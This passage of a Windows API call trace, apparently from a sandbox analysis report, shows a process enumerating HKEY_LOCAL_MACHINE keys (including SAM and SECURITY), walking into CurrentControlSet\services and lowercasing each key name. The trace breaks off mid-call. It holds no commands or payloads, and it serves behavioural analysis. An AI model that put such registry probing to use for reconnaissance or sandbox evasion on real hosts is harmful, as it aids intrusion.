[0228.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0228.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.710] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0228.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0228.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.711] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0228.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0228.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.711] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0228.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0228.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.711] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0228.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0228.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.711] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.712] RegCloseKey (hKey=0x80000002) returned 0x0 [0228.712] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0228.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0228.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.712] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0228.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0228.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.712] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0228.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0228.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1bf8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0228.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.712] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0228.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0228.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.713] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0228.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0228.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.713] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0228.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0228.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.713] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0228.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0228.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.714] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0228.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0228.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.714] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0228.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0228.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.714] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0228.714] RegCloseKey (hKey=0xc4) returned 0x0 [0228.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0228.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0228.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0228.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0228.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0228.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0228.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0228.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0228.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0228.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0228.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.716] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.716] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.716] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.716] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.716] RegCloseKey (hKey=0x148) returned 0x0 [0228.716] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0228.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0228.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.716] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.716] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.716] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.716] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0228.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 